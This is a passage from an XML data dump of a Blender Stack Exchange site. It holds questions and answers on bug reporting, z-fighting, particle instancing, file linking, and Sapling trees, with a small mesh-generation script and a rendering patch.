graphics cards, the second step is &lt;strong&gt;updating your graphics cards to the latest available version&lt;/strong&gt;. Make sure your GPU drivers are up to date, check the manufacturer site or the official brand site for newer versions. Many purported bugs in Blender are actually issues with the GPU that have recently been worked out in latest versions.&lt;/p&gt;&#xA;&lt;p&gt;Likewise make sure there are no newly introduced known issues with the lastest drivers. Drivers themselves are also susceptible to bugs and some times newest versions introduce new issues. If you recently upgraded your hardware or installed updartes, rollback to last known good configuration and test if the issue is still there.&lt;/p&gt;&#xA;&lt;h1&gt;Reporting&lt;/h1&gt;&#xA;&lt;p&gt;The only place to report bugs is the &lt;a href=&quot;https://developer.blender.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug tracker&lt;/a&gt;. Developers spend considerable time triaging new reports, avoid posting  duplicates. Browse through the already listed bugs in the tracker to &lt;strong&gt;see if someone else has already reported it&lt;/strong&gt;. If not then you would want to create an account, sign in and click &lt;em&gt;Submit New&lt;/em&gt; to file a new bug report. The submission form is very intuitive and lists some guidelines for submitting reports. &lt;strong&gt;A&lt;/strong&gt; &lt;code&gt;.blend&lt;/code&gt; &lt;strong&gt;file must be attached.&lt;/strong&gt; Try to make the file as simple as possible (remove anything not strictly necessary to reproduce the issue) and clearly write the steps you took to discover the bug.&lt;/p&gt;&#xA;&lt;p&gt;You can also quickly reach the bug tracker from inside Blender by going to the &lt;em&gt;Help&lt;/em&gt; menu.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/19u6d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For very simple problems or things users are not sure about, before filing a report, users can always visit the &lt;code&gt;#blendercoders&lt;/code&gt; channel on freenode.net via the &lt;a href=&quot;http://webchat.freenode.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;webchat&lt;/a&gt; to voice their concerns and or request clarification or tips from the developers.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, here are some more &lt;a href=&quot;http://nicholasbishop.net/?p=529&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug reporting tips&lt;/a&gt; from a developer.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It may sound annoying to follow all these steps, but remember that if&#xA;you don’t, the developers waste time figuring it all out themselves or&#xA;trying to coax the information out of the user for each bug. Some&#xA;developers like Sergey, Campbell (&lt;a href=&quot;https://blender.stackexchange.com/users/55/ideasman42&quot;&gt;ideasman42&lt;/a&gt;), and Brecht (&lt;a href=&quot;https://blender.stackexchange.com/users/242/brecht&quot;&gt;brecht&lt;/a&gt;) handle a huge number of&#xA;bug reports; you can really help them out by filling good ones.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can also watch on &lt;a href=&quot;https://www.youtube.com/watch?v=JTD0OJq_rF4&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube How to Report a Bug in 5 Steps&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="19307" LastEditDate="2020-12-27T19:37:32.977" LastActivityDate="2020-12-27T19:37:32.977" CommentCount="0" CommunityOwnedDate="2013-07-12T20:58:30.880" ContentLicense="CC BY-SA 4.0" />
  <row Id="1379" PostTypeId="2" ParentId="1167" CreationDate="2013-06-25T22:41:32.603" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;go to node editor and enable use nodes&lt;/li&gt;&#xA;&lt;li&gt;add mask node and mix node&lt;/li&gt;&#xA;&lt;li&gt;in uv editor change from paint to mask (if you want a mask image, upload that image to uv editor, the mask will be placed over your image)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UJFWc.jpg&quot; alt=&quot;basic set up&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;LMB&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;  to add point on the curve, close curve by enabling toggle cyclic&lt;/li&gt;&#xA;&lt;li&gt;use this mask as input for mask node and plug mask node to factor of the mix node&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;for rotoscoping you could use this &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/RotoBezier&quot; rel=&quot;nofollow noreferrer&quot;&gt;add on&lt;/a&gt;, see &lt;a href=&quot;http://www.blendernation.com/2010/11/22/new-feature-rotobezier/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="599" LastEditDate="2013-07-31T22:28:15.660" LastActivityDate="2013-07-31T22:28:15.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1380" PostTypeId="2" ParentId="1371" CreationDate="2013-06-25T23:03:07.707" Score="2" Body="&lt;p&gt;No, Blender doesn't have any features specific to the modeling the golden-ratio, so I would suggest...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Take an image and use it as a reference, you can do this using a background image or an empty-image (empty object displaying an image).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a reference image isn't accurate enough, you could write a small Python script which plots this shape, it wouldn't be so hard, and once you have this you might be able to further extend it to suit your purpose.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your question is fairly vague as to how you intend to apply this shape to the objects you model, so for a more detailed answer you would need to ask a more specific question.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-25T23:03:07.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1381" PostTypeId="2" ParentId="390" CreationDate="2013-06-26T02:43:56.197" Score="5" Body="&lt;p&gt;If you have a situation where it's something you can photograph - Then you can go to structure from motion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I take photos for every 15 degrees of a subject, use ppt-gui or vsfm to convert the photos into a point cloud, meshlab or cloudcompare to convert the point cloud to a high density mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then take the high density mesh into blender and create a low poly version either using the decimate modifier or by building it. I uv map the low poly version then I bake (using selected to active) normals, ao, vertex color and displacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This workflow can take more time, particularly computer time and will require a fairly fast machine. The most labour intensive bit is usually the uv mapping if you are mapping a complex object. It gives you a lot of maps that line up exactly and is quite physically accurate.&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-06-26T02:43:56.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1382" PostTypeId="1" CreationDate="2013-06-26T04:35:30.067" Score="0" ViewCount="62" Body="&lt;p&gt;I am looking for a workflow that allows multiple artists to work on a project where users can work in parallel and assuming they don't change exactly the same thing the work can be smoothly merged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am used to working with a game engine using xml and many separate binary files which works well with a versioning system like git or svn.&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-06-26T13:17:14.760" Title="Multiple artists modelling the same file" Tags="&lt;workflow&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2013-06-26T13:30:50.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="1384" PostTypeId="2" ParentId="671" CreationDate="2013-06-26T05:23:11.730" Score="3" Body="&lt;p&gt;If multiple people aren't working on the same object, you could separate one bit and Link it into the original file. So one guy works on the main file, and other people work on the Linked files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could separate everything and have a master-file that is not edited directly, but simply has all the separate pieces linked in and placed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know there is no native way for multiple people to work on the same file simultaneously&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-06-26T05:23:11.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1385" PostTypeId="1" AcceptedAnswerId="1386" CreationDate="2013-06-26T08:28:22.077" Score="24" ViewCount="5394" Body="&lt;p&gt;I have recently started using blender and one of the models I'm working on has dark shadows along edges. I started this model from scratch. I can't remember them being there when I first started the model, but I had trouble joining areas together and think I've pressed something I shouldn't have. However, there are so many options I'm not sure what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of what I mean&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HVSFZ.png&quot; alt=&quot;image showing shadow along edges&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one on the left has the shadow. As a test I started a new model, which is on the right in the image, and as you can see it doesn't have any shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, occluded vertices partially show through the model. Occlusion doesn't work properly.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HVSFZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TacqA.jpg&quot; alt=&quot;Extreme example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In orthogonal view small darkened triangles appear along the the edges. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/FFX29.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FFX29.jpg&quot; alt=&quot;ortho clipping issue&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really want to start the model again from scratch so any ideas on how to remove this shadow would be great. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="825" LastEditorUserId="30849" LastEditDate="2018-06-13T14:40:35.037" LastActivityDate="2018-06-13T14:40:35.037" Title="Shadows along edges of mesh in 3D View" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1386" PostTypeId="2" ParentId="1385" CreationDate="2013-06-26T08:54:52.913" Score="19" Body="&lt;p&gt;If you changed the &lt;code&gt;clip start&lt;/code&gt; value, this can exaggerate the effect in perspective mode. Find the clip settings in the right hand tool shelf, (The N panel) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/wrw5F8f.jpg&quot; alt=&quot;n panel clip settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-26T09:47:45.050" LastActivityDate="2013-06-26T09:47:45.050" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1387" PostTypeId="2" ParentId="1385" CreationDate="2013-06-26T13:03:46.397" Score="29" Body="&lt;p&gt;The issue you are calling &quot;shadow along edges&quot; is more generally known as &lt;a href=&quot;http://en.wikipedia.org/wiki/Z-fighting&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;z-fighting&lt;/em&gt;&lt;/a&gt;   (if you want to search for more info on the topic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our manual we document &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/properties/panels.html#view-panel&quot; rel=&quot;noreferrer&quot;&gt;this problem&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A large clipping range will allow you to see both near and far objects, but reduces the depth precision.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To resolve, in the view settings you need to reduce clipping range.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set the &lt;strong&gt;Clip Start&lt;/strong&gt; as high as you can before near geometry disappears.&lt;/li&gt;&#xA;&lt;li&gt;set the &lt;strong&gt;Clip End&lt;/strong&gt; as low as you can before far geometry disappears.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Camera has its own start/end settings so you may want to adjust that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that typically you won't need to tweak this value often, it just needs to match the scene scale you use&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A range between 0.1 -&gt; 100.0 is fine if more model has dimensions of ~0.5 -&gt; ~50 blender-units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that some graphics cards cards suffer from this problem more than others because they use a &lt;a href=&quot;https://www.opengl.org/archives/resources/faq/technical/depthbuffer.htm&quot; rel=&quot;noreferrer&quot;&gt;lower bit-depth for their z-buffer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="15924" LastEditDate="2018-01-23T02:11:11.773" LastActivityDate="2018-01-23T02:11:11.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1389" PostTypeId="1" AcceptedAnswerId="1391" CreationDate="2013-06-26T13:30:55.407" Score="16" ViewCount="7232" Body="&lt;p&gt;I place leaves on my trees with emitter particle systems. Then, to make a forest, I place those trees with another emitter (or hair) particle system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is particles of particles don't work, I only get the trunks without leaves in my forest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following this question : &lt;a href=&quot;https://blender.stackexchange.com/questions/166/how-can-i-convert-a-hair-particle-system-into-3d-editable-objects&quot;&gt;How can I convert a hair-particle system into 3D, editable objects?&lt;/a&gt;, which solution takes ages (I use about 500 000 leaves per tree), I tried to write a python script, but comes to the same problem. Searching on google, I found Brecht saying it comes from the naming of object (leave.001, leave.002 .... leave.500000) which after 1000 iterations becomes pretty slow and after 10000 extremely slow (so naming 2000 object is much slower than twice the time of naming 1000 of them). Anyway, that step is useless, blender needs one big mesh with all leaves to allow instancing it, not 500000 objects with one linked mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So question is how can I convert all the particles to one unique object in one step (or at least avoid it to take 28 hours every time) ?&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-06-26T17:27:05.310" Title="Convert large particle system(s) to one object efficiently" Tags="&lt;objects&gt;&lt;particles&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1390" PostTypeId="2" ParentId="671" CreationDate="2013-06-26T14:49:01.370" Score="12" Body="&lt;p&gt;Blender does &lt;strong&gt;not&lt;/strong&gt; provide a way for multiple uses to edit the same blend file at exactly the same time. *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However typically you can manage this by splitting your assets into separate blend files and linking from one file to another.&#xA;Blender supports recursive linking so a scene, node-groups, animation, models, materials etc can all have their own files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Org:Institute/Open_projects/Mango/Production_Directory&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the documentation for the linking structure use by the open movie; Tears of Steel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some projects do this more fine grained, where the &lt;code&gt;material, armature, mesh, action&lt;/code&gt; are all stored in 4 separate blend files and they are combined in a 5th, and composited in a 6th. But inter-linking complexity needs to be managed or you have a mess too, where you load a blend file and 100's of megabytes are loaded because files are interlinking in situations that might be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found the best way to manage linking is to only go in one direction.&#xA;So for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Materials/Nodes -&amp;gt; Models/Rigs/Environments -&amp;gt; Animation -&amp;gt; Compositing&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But never link an animation into a material file for eg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way its predictable and you can manage what loads in a more controlled way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: since 2.78 its now possible to reload libraries without re-opening the file, see: &lt;a href=&quot;https://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.78/Datablocks&quot; rel=&quot;nofollow&quot;&gt;Datablock and Library Management&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;Blender used to have &lt;a href=&quot;http://www.quelsolaar.com/verse&quot; rel=&quot;nofollow&quot;&gt;Verse&lt;/a&gt; integration, but it was removed due to not being very practical to use for real projects.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-08-01T00:43:00.233" LastActivityDate="2016-08-01T00:43:00.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1391" PostTypeId="2" ParentId="1389" CreationDate="2013-06-26T15:27:53.543" Score="17" Body="&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Simulate/Particle_Instance&quot; rel=&quot;noreferrer&quot;&gt;Particle Instance modifier&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a ParticleInstance modifier is added to an object, that object will be used as a particle shape on an object which has a particle system associated with it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead of setting the leaf object in the render settings of your tree's particle system.&lt;/li&gt;&#xA;&lt;li&gt;Use the &quot;Particle Instance&quot; modifier on the leaf itself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This has the advantage that it can be used multiple times for multiple particles systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EtKbX.png&quot; alt=&quot;Particle instance modifier example trees using monkey/Suzanne heads as leaves&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-06-26T17:27:05.310" LastActivityDate="2013-06-26T17:27:05.310" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="1392" PostTypeId="2" ParentId="1335" CreationDate="2013-06-26T15:37:51.927" Score="2" Body="&lt;p&gt;Moguri &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?298241-Just-one-last-step-to-get-Oculus-Rift-working-fully-in-BGE&quot; rel=&quot;nofollow&quot;&gt;answered my question&lt;/a&gt; on the forums by posting &lt;a href=&quot;http://www.pasteall.org/43512/diff&quot; rel=&quot;nofollow&quot;&gt;this patch&lt;/a&gt; that fixes the Filter 2D issue in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The patch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;diff --git blender/source/gameengine/Rasterizer/RAS_2DFilterManager.cpp blender/source/gameengine/Rasterizer/RAS_2DFilterManager.cpp index 79ce853..1781852 100644&#xA;--- blender/source/gameengine/Rasterizer/RAS_2DFilterManager.cpp&#xA;+++ blender/source/gameengine/Rasterizer/RAS_2DFilterManager.cpp @@ -429,6 +429,9 @@ void RAS_2DFilterManager::RenderFilters(RAS_ICanvas* canvas)&#xA;        glActiveTextureARB(GL_TEXTURE0);&#xA;        canvas-&amp;gt;SetViewPort(0, 0, rect_width-1, rect_height-1);  &#xA;+       RAS_Rect scissor_rect = canvas-&amp;gt;GetDisplayArea();&#xA;+       glScissor(scissor_rect.GetLeft()+viewport[0], scissor_rect.GetBottom()+viewport[1], scissor_rect.GetWidth()+1, scissor_rect.GetHeight()+1);&#xA;+&#xA;        glDisable(GL_DEPTH_TEST);&#xA;        // in case the previous material was wire&#xA;        glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: This patch is already included in the trunk, verified at 08/25/2013&lt;/p&gt;&#xA;" OwnerUserId="796" LastEditorUserId="29" LastEditDate="2013-08-25T10:23:21.983" LastActivityDate="2013-08-25T10:23:21.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1393" PostTypeId="1" AcceptedAnswerId="1397" CreationDate="2013-06-26T15:50:56.707" Score="20" ViewCount="7623" Body="&lt;p&gt;The Sapling addon does an excellent job of modeling the shape of the trunk, branches, and leaves of a variety of trees, and can be used to quickly produce realistic trees in my models. However, real trees often also have flowers, berries, pine cones, buds, etc which I would like to include sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add these objects using the Sapling addon? If not, would it be possible to configure a particle system to add these objects onto the tree-object created by the addon?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-12-14T05:53:09.007" LastActivityDate="2016-08-01T12:40:40.347" Title="Objects other than leaves with Sapling addon?" Tags="&lt;modeling&gt;&lt;add-on&gt;&lt;sapling-addon&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1394" PostTypeId="2" ParentId="1371" CreationDate="2013-06-26T16:20:13.663" Score="31" Body="&lt;p&gt;There is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Sunflower#Mathematical_model_of_floret_arrangement&quot; rel=&quot;noreferrer&quot;&gt;simple mathematical model for florets in a sunflower&lt;/a&gt;, using the golden angle 137.5°. Here is an script that creates a mesh with vertices distributed in this pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import math&#xA;&#xA;n = 1000 # number of points&#xA;c = 0.1 # scale factor&#xA;&#xA;mesh = bpy.data.meshes.new(name=&quot;Spiral&quot;)&#xA;bm = bmesh.new()&#xA;&#xA;for i in range(0, n):&#xA;    theta = i * math.radians(137.5)&#xA;    r = c * math.sqrt(i)&#xA;    bm.verts.new((math.cos(theta) * r, math.sin(theta) * r, 0.0))&#xA;&#xA;bm.to_mesh(mesh)&#xA;mesh.update()&#xA;&#xA;from bpy_extras import object_utils&#xA;object_utils.object_data_add(bpy.context, mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this pattern does not consist of concentric circles like other answers. It would be interesting if you could generate something like this with existing modifiers or other tools, but I wouldn't know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pdHkK.png&quot; alt=&quot;Floret distribution with golden ratio&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="55" LastEditDate="2013-06-28T04:32:17.823" LastActivityDate="2013-06-28T04:32:17.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1395" PostTypeId="2" ParentId="1393" CreationDate="2013-06-26T17:25:32.407" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Make sapling - select leaves in object mode&lt;/li&gt;&#xA;&lt;li&gt;Select vertices/faces in edit mode- assign to vertex group&lt;/li&gt;&#xA;&lt;li&gt;Create particle system - hair with the object/group you like - use selected vertices for density (under the vertex group tab)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way you have full control over the placement of the objects (like blooms on the sunny side of trees) or the apples to the south.&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="12" LastEditDate="2013-06-26T20:08:50.867" LastActivityDate="2013-06-26T20:08:50.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1396" PostTypeId="2" ParentId="1363" CreationDate="2013-06-26T17:30:50.990" Score="1" Body="&lt;p&gt;I figured out that, as soon an particle system is involved in the scene and you need to render the smoke / fire, you have to start an animation from frame one to get the smoke displayed.&lt;/p&gt;&#xA;" OwnerUserId="830" LastActivityDate="2013-06-26T17:30:50.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1397" PostTypeId="2" ParentId="1393" CreationDate="2013-06-26T20:49:30.697" Score="27" Body="&lt;p&gt;1) When creating the tree with Sapling, choose 'Rectanglular' for the leaves' shape because it will allow you to create a UV map. Also, make sure to select the appropriate leaves distribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KiKEZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Select your leaves and enter &lt;em&gt;Edit&lt;/em&gt; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Open an Image/UV Editor window and Activate the &quot;keep UV and Edit mode in sync&quot; option in the UV editor window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) In the 3D View, select 2 vertices that are on the branch side, they will appear orange in the UV Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) In UV Window, with the box selection, select all those &quot;branch vertices&quot; which are actually above each other.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aIByM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Subdivide once, you get the vertices that are directly on the branches, select them as well in UV Window and separate with &lt;kbd&gt;P&lt;/kbd&gt; in the 3D View.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lYWcB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) A new object is created with only vertices, put a particle system on it with emission per verts. Done :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3k8C.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really useful to replace default leaves with nice 3D leaves as well :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example. I made the new leaves and fruit using that method (The branches are the default one, ugly but it's not the point) :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rjp9t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2013-06-27T05:08:17.927" LastActivityDate="2013-06-27T05:08:17.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1398" PostTypeId="1" AcceptedAnswerId="1431" CreationDate="2013-06-26T22:05:42.450" Score="11" ViewCount="8911" Body="&lt;p&gt;When creating wood textures in Blender, I often use the Cycles 'Wave' procedural texture (the equivalent of the Blender-Internal 'Wood' texture). I can use it to create what appears to be very realistic wood grain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I run into a problem whenever I'm modeling wood blocks with sharply cut edges. Real wood would have a different cross-sectional type of grain on each side, depending on how it was cut (for example, in the image below, one side would have a 'ring' structured texture, and the other two would each have a different 'band' texture). Moreover, if you look at any one of the individual dark bands, you'll see that they 'align' with each other across the three faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aIeXg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make three different procedural textures that align with each other in this way? If that isn't possible, is there any way to produce a similar effect using other techniques?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-26T22:16:45.337" LastActivityDate="2019-05-03T09:43:04.840" Title="How to align multiple wave textures?" Tags="&lt;texturing&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1399" PostTypeId="5" CreationDate="2013-06-26T22:59:02.110" Score="0" Body="&lt;p&gt;Documentation on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Properties&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="599" LastEditDate="2014-05-16T00:40:11.800" LastActivityDate="2014-05-16T00:40:11.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1400" PostTypeId="4" CreationDate="2013-06-26T22:59:02.110" Score="0" Body="Questions about accessing object properties or attributes while scripting" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-26T22:59:02.110" LastActivityDate="2013-06-26T22:59:02.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1401" PostTypeId="1" AcceptedAnswerId="1402" CreationDate="2013-06-26T23:20:37.590" Score="19" ViewCount="39791" Body="&lt;p&gt;I'm trying to split a mesh into two pieces along a plane like in &lt;a href=&quot;http://www.youtube.com/watch?v=y6t9_pOmXCc&quot;&gt;this video&lt;/a&gt;, using Blender 2.62.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I can come to splitting a mesh into two pieces along a plane is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a plane&lt;/li&gt;&#xA;&lt;li&gt;Grab and move the plane to where I want the cut an existing mesh&lt;/li&gt;&#xA;&lt;li&gt;Select the plane, then (and) the mesh&lt;/li&gt;&#xA;&lt;li&gt;Apply a Boolean modifier&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This indeed splits the mesh in two, but it tosses out one of the new pieces (intersection, difference, and union all do this, but they differ in which of the two pieces get lost). Is there any way that I can fix this problem with the Boolean modifier or another way for me to split my mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to eventually write a script which splits an object into many equally-spaced slices along a given axis.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="25" LastEditDate="2013-06-27T02:52:52.210" LastActivityDate="2013-06-27T02:52:52.210" Title="Split a mesh with a plane" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
